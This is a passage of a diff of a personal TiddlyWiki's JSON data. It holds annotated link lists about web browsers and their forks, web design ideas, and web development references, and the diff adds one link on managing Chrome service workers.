https://github.com/newTendermint/awesome-analytics | https://github.com/pluja/awesome-privacy#analytics //\n\n!!! Other Things\n\n* \u003C\u003CMDNLink Glossary/speculative_parsing \"Speculative parsing\">>\n"},
-{"title":"Web Browser","created":"20230217100639349","creator":"Octt","modified":"20240107125655740","modifier":"Octt","tags":"Web","text":"\u003C\u003C^wikipediaframe \"Web Browser\">>\n\n* [[Fulguris|https://slions.net/resources/fulguris.10/]] --- webview-based //Sparkling Android Web Browser// --- \u003C\u003C[# Git\"https://github.com/Slion/Fulguris\">>\n* [[Via Browser|https://viayoo.com/en/]] --- //lite browser with powerful functions. Designed on geek thinking.//\n\n!!! [[Chromium|https://chromium.org]]\n\n* [[Website by woolyss|https://chromium.woolyss.com/]] --- //created in 2013 because there was no easy way to download good and stable releases of Chromium, on Windows// ... also indexes other Chromium downloads\n\n* [[Remote debug Android devices (Chrome for Developers)|https://developer.chrome.com/docs/devtools/remote-debugging/]]\n\n; Forks\n: [[Ungoogled Chromium|https://github.com/ungoogled-software]]\n: [[Bromite|https://bromite.org]] (Android) --- \u003C\u003C[# Git\"https://github.com/bromite\">>\n\n!!! [[Firefox|https://firefox.com]]\n\n* [[How to Install Any Add-on in Firefox for Android|https://www.maketecheasier.com/install-addon-firefox-android]] (Firefox Beta is needed)\n** [[Usando Firefox Beta, รจ possibile aggiungere una lista custom di #addons...|https://mastodon.uno/@octo/111064836718607256]]\n* [[Why Extensions can't modify Mozilla sites (like AMO)|https://ninetailed.ninja/extensions-modify-mozilla-sites.html]]\n* [[How to increase Firefox scrollbar width?|https://unix.stackexchange.com/questions/304711/how-to-increase-firefox-scrollbar-width]] --- set `widget.non-native-theme.scrollbar.size.override` to number in `about:config`\n\n; Forks\n: [[LibreWolf|https://librewolf.net]] (Desktop)\n: \u003C\u003CFDroidLink org.mozilla.fennec_fdroid \"Fennec F-Droid\">> (Android)\n: [[CENO Browser|https://censorship.no/en/index.html]] (Android) --- //Short for censorship.no!, is the worldโs first mobile browser that side-steps current Internet censorship methods. Its peer-to-peer backbone allows people to access and share web information in and across regions where connectivity has been interrupted or compromised.// --- \u003C\u003C[ \"[[Git|https://gitlab.com/censorship-no]]\">>\n\n; Forks of the old codebase, Mozilla Suite\n: [[Mypal|https://www.mypal-browser.org/]] --- //Mypal is a current and maintained browser for Windows XP. Turn that old PC into something useful!// --- \u003C\u003C[# \"Old Sources\" \"https://github.com/Feodor2/Mypal/tags\">>\n: [[Pale Moon|https://www.palemoon.org/]]\n: //''[[SeaMonkey project|https://www.seamonkey-project.org/]]'' is a community effort to develop the SeaMonkey Internet Application Suite//\n\n!!! \u003C\u003CFlathubLink org.gnome.Epiphany \"Epiphany\">>\n\n* https://gitlab.gnome.org/GNOME/epiphany\n\n!!! Misc\n\n* //''[[Falkon|https://www.falkon.org/]]'' is a KDE web browser using QtWebEngine rendering engine// (same as Chromium, but the overall base is different)\n* //''[[K-Meleon|http://kmeleonbrowser.org/]]'' is a lightweight, customizable, open-source web browser designed for Microsoft Windows (Win32) operating systems. Support for legacy operating systems, low RAM usage, a macro language to customize the browser, and privacy-respecting defaults are among K-Meleon's unique features.//\n* [[Konqueror|https://apps.kde.org/konqueror/]] --- //Konqueror is KDE's Webbrowser and swiss-army-knife for any kind of file-management and file previewing.// --- basically the Internet Explorer 4 of Linux, a file manager with built-in browser and advanced features... seems to be maintained currently, but all my distros ship an ancient version with HTML 4 (no 5) support\n\n!! Extensions / Add-ons\n\n* [[octollection|https://addons.mozilla.org/en-US/firefox/collections/18049170/octollection]] --- my add-ons collection for Firefox\n* [[Redirector|https://einaregilsson.com/redirector/]]\n"},
+{"title":"Web Browser","created":"20230217100639349","creator":"Octt","modified":"20240128004734394","modifier":"Octt","tags":"Web","text":"\u003C\u003C^wikipediaframe \"Web Browser\">>\n\n* [[Fulguris|https://slions.net/resources/fulguris.10/]] --- webview-based //Sparkling Android Web Browser// --- \u003C\u003C[# Git\"https://github.com/Slion/Fulguris\">>\n* [[Via Browser|https://viayoo.com/en/]] --- //lite browser with powerful functions. Designed on geek thinking.//\n\n!!! [[Chromium|https://chromium.org]]\n\n* [[Website by woolyss|https://chromium.woolyss.com/]] --- //created in 2013 because there was no easy way to download good and stable releases of Chromium, on Windows// ... also indexes other Chromium downloads\n\n* [[Remote debug Android devices (Chrome for Developers)|https://developer.chrome.com/docs/devtools/remote-debugging/]]\n* [[How to manage service workers in chrome?|https://stackoverflow.com/questions/40041401/how-to-manage-service-workers-in-chrome#40046012]] --- `chrome://serviceworker-internals`\n\n; Forks\n: [[Ungoogled Chromium|https://github.com/ungoogled-software]]\n: [[Bromite|https://bromite.org]] (Android) --- \u003C\u003C[# Git\"https://github.com/bromite\">>\n\n!!! [[Firefox|https://firefox.com]]\n\n* [[How to Install Any Add-on in Firefox for Android|https://www.maketecheasier.com/install-addon-firefox-android]] (Firefox Beta is needed)\n** [[Usando Firefox Beta, รจ possibile aggiungere una lista custom di #addons...|https://mastodon.uno/@octo/111064836718607256]]\n* [[Why Extensions can't modify Mozilla sites (like AMO)|https://ninetailed.ninja/extensions-modify-mozilla-sites.html]]\n* [[How to increase Firefox scrollbar width?|https://unix.stackexchange.com/questions/304711/how-to-increase-firefox-scrollbar-width]] --- set `widget.non-native-theme.scrollbar.size.override` to number in `about:config`\n\n; Forks\n: [[LibreWolf|https://librewolf.net]] (Desktop)\n: \u003C\u003CFDroidLink org.mozilla.fennec_fdroid \"Fennec F-Droid\">> (Android)\n: [[CENO Browser|https://censorship.no/en/index.html]] (Android) --- //Short for censorship.no!, is the worldโs first mobile browser that side-steps current Internet censorship methods. Its peer-to-peer backbone allows people to access and share web information in and across regions where connectivity has been interrupted or compromised.// --- \u003C\u003C[ \"[[Git|https://gitlab.com/censorship-no]]\">>\n\n; Forks of the old codebase, Mozilla Suite\n: [[Mypal|https://www.mypal-browser.org/]] --- //Mypal is a current and maintained browser for Windows XP. Turn that old PC into something useful!// --- \u003C\u003C[# \"Old Sources\" \"https://github.com/Feodor2/Mypal/tags\">>\n: [[Pale Moon|https://www.palemoon.org/]]\n: //''[[SeaMonkey project|https://www.seamonkey-project.org/]]'' is a community effort to develop the SeaMonkey Internet Application Suite//\n\n!!! \u003C\u003CFlathubLink org.gnome.Epiphany \"Epiphany\">>\n\n* https://gitlab.gnome.org/GNOME/epiphany\n\n!!! Misc\n\n* //''[[Falkon|https://www.falkon.org/]]'' is a KDE web browser using QtWebEngine rendering engine// (same as Chromium, but the overall base is different)\n* //''[[K-Meleon|http://kmeleonbrowser.org/]]'' is a lightweight, customizable, open-source web browser designed for Microsoft Windows (Win32) operating systems. Support for legacy operating systems, low RAM usage, a macro language to customize the browser, and privacy-respecting defaults are among K-Meleon's unique features.//\n* [[Konqueror|https://apps.kde.org/konqueror/]] --- //Konqueror is KDE's Webbrowser and swiss-army-knife for any kind of file-management and file previewing.// --- basically the Internet Explorer 4 of Linux, a file manager with built-in browser and advanced features... seems to be maintained currently, but all my distros ship an ancient version with HTML 4 (no 5) support\n\n!! Extensions / Add-ons\n\n* [[octollection|https://addons.mozilla.org/en-US/firefox/collections/18049170/octollection]] --- my add-ons collection for Firefox\n* [[Redirector|https://einaregilsson.com/redirector/]]\n"},
{"title":"Web design ideas","created":"20221103223952562","modified":"20230206111552426","modifier":"Octt","tags":"Internet $:/i18n:en","text":"Some ideas on //how// and //into what// to make a website I want to collect. Some I gather from other people's sites.\n\n* Site Changelog on Home page\n* Animated/Static Image Buttons for expressing ideas or linking to other websites\n* Shrines\n* Vast photo Galleries"},
{"title":"Web/Design","created":"20231224172607192","creator":"Octt","modified":"20231224172753668","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Web design\">>\n\n* [[Codrops|https://tympanus.net/codrops/]] --- //Keeping web professionals inspired & up-to-date since 2009// --- \u003C\u003C[# Git\"https://github.com/codrops\">>\n** [[Text Input Effects|https://tympanus.net/Development/TextInputEffects/]] --- //Simple styles and effects for enhancing text input interactions.// --- \u003C\u003C[# Git\"https://github.com/codrops/TextInputEffects\">>\n\n!!! Other misc libraries and designs\n\n* [[Typo|https://neatnik.net/typo/]] --- //Typo types the way a real person types. There are subtle variations in speed, occasional errors that are corrected, and a general feeling of humanity.// --- \u003C\u003C[# Git\"https://github.com/neatnik/typo\">>\n"},
{"title":"Web/Development","created":"20230221204801305","creator":"Octt","modified":"20240119001119592","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Web development\">>\n\n!!! ''References''\n\n; Misc\n: [[Window: postMessage()|https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage]]\n: [[Proxy Auto-Configuration (PAC) file|https://developer.mozilla.org/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_PAC_file]]\n\n; DOM querying\n: [[Find all text nodes in HTML page|https://stackoverflow.com/a/10730777]]\n: [[Find the closest ancestor element that has a specific class|https://stackoverflow.com/a/49516201]] | [[Element.closest()|https://developer.mozilla.org/en-US/docs/Web/API/Element/closest]]\n\n; DOM manipulation\n: [[Insert a childNode to a specific position|https://stackoverflow.com/a/26259544]]\n: [[Prepend/append childNode to beginning/end of element|https://stackoverflow.com/a/45656684]]\n: [[Replace a DOM Element|https://www.javascripttutorial.net/dom/manipulating/replace-a-dom-element/]]\n\n; Embeds\n: [[From object to iframe โ other embedding technologies|https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies]]\n: [[Alternative to iFrames with HTML5?|https://stackoverflow.com/questions/8702704/alternative-to-iframes-with-html5#31845361]]\n: [[Why are iframes considered dangerous and a security risk?|https://stackoverflow.com/questions/7289139/why-are-iframes-considered-dangerous-and-a-security-risk]]\n: [[4 IFrame Security Concerns You Should Know|https://blog.bitsrc.io/4-security-concerns-with-iframes-every-web-developer-should-know-24c73e6a33e4?gi=2c961c6663da]]\n\n!!! ''Tools and similar''\n\n* https://github.com/csstools/oldie - //tranforms CSS to be compatible with old Internet Explorer//\n* [[CORS Anywhere|https://github.com/Rob--W/cors-anywhere]] - //Server proxy which adds CORS headers to the request//\n* [[Web developer tools (mothereff.in)|https://mothereff.in/]] --- \u003C\u003C[# Git\"https://github.com/mathiasbynens/mothereff.in\">>\n\n!!!! Minification\n\n* ~~[[node-minify|https://github.com/srod/node-minify]] - //Light Node.js module and CLI app that compress javascript, css and html files//~~\n\n!!! ''Misc''\n\n* [[web.dev|https://web.dev/]] - //Guidance to build modern web experiences that work on any browser// (?)\n* [[Go Make Things|https://gomakethings.com/]] - //how to build a simpler, more resilient web//\n** [[The Vanilla JS Toolkit|https://vanillajstoolkit.com/]] - //tools and snippets for working with JavaScript// (libraries, functions, polyfills, learning)\n* [[Web Accessibility Developer Guide|https://www.accessibility-developer-guide.com/]]\n* [[Using \u003Cstyle> tags in the \u003Cbody> with other HTML|https://stackoverflow.com/questions/2830296/using-style-tags-in-the-body-with-other-html]] --- there once was a `scoped` attribute for `\u003Cstyle>` blocks, but it's nowadays deprecated and styles apply to all document elements despite their own position in the tree\n\n* [[Convert any website into a PWA in just 3 simple steps|https://dev.to/developertharun/convert-any-website-into-a-pwa-in-just-3-simple-steps-35pp]]\n* [[SPA source code recovery by un-Webpacking source maps|https://medium.com/@rarecoil/spa-source-code-recovery-by-un-webpacking-source-maps-ef830fc2351d]] - ''[[unwebpack-sourcemap|https://github.com/rarecoil/unwebpack-sourcemap]]''\n* [[How to inject service-worker.js to a webpage via Chrome Extension? I want to add offline functionality to the existing page|https://stackoverflow.com/questions/72356003/how-to-inject-service-worker-js-to-a-webpage-via-chrome-extension-i-want-to-add]]\n* [[Convert HTML5 Canvas Sequence to a Video File|https://stackoverflow.com/questions/19235286/convert-html5-canvas-sequence-to-a-video-file/62065826#62065826]]\n** customize video quality by changing codec: \u003C\u003CMDNLink Web/API/MediaRecorder/mimeType#examples MediaRecorder/mimeType>>\n\n* [[Hail, Babel! The Transpiling Overlord|https://www.telerik.com/blogs/hail-babel-the-transpiling-overlord]]\n** [[Using babel to transpile to es3 (safari compliant)|https://stackoverflow.com/questions/40205547/using-babel-to-transpile-to-es3-safari-compliant]]\n** [[How to Convert ES6 into ES5 using Babel|https://medium.com/@SunnyB/how-to-convert-es6-into-es5-using-babel-1b533d31a169]]\n\n* [[How to add full text search to your website|https://medium.com/dev-channel/how-to-add-full-text-search-to-your-website-4e9c80ce2bf4]]\n** [[BlogSearch|https://github.com/kbumsik/blogsearch]]\n** [[MiniSearch, a client-side full-text search engine|https://lucaongaro.eu/blog/2019/01/30/minisearch-client-side-fulltext-search-engine.html]]\n** [[Client-side full-text search in CSS|https://www.redotheweb.com/2013/05/15/client-side-full-text-search-in-css.html?]] (+ a bit of JS :c)\n** [[Lunr.js|https://github.com/olivernn/lunr.js/]]\n*** [[Add Search to Your Static Site with Lunr.js (Hugo, Vanilla JS)|https://aaronluna.dev/blog/add-search-to-static-site-lunrjs-hugo-vanillajs/]]\n*** [[Adding Super Fast Frontend Search in Rails with Lunr|https://blog.cloud66.com/adding-super-fast-frontend-search-in-rails-with-lunr]]\n"},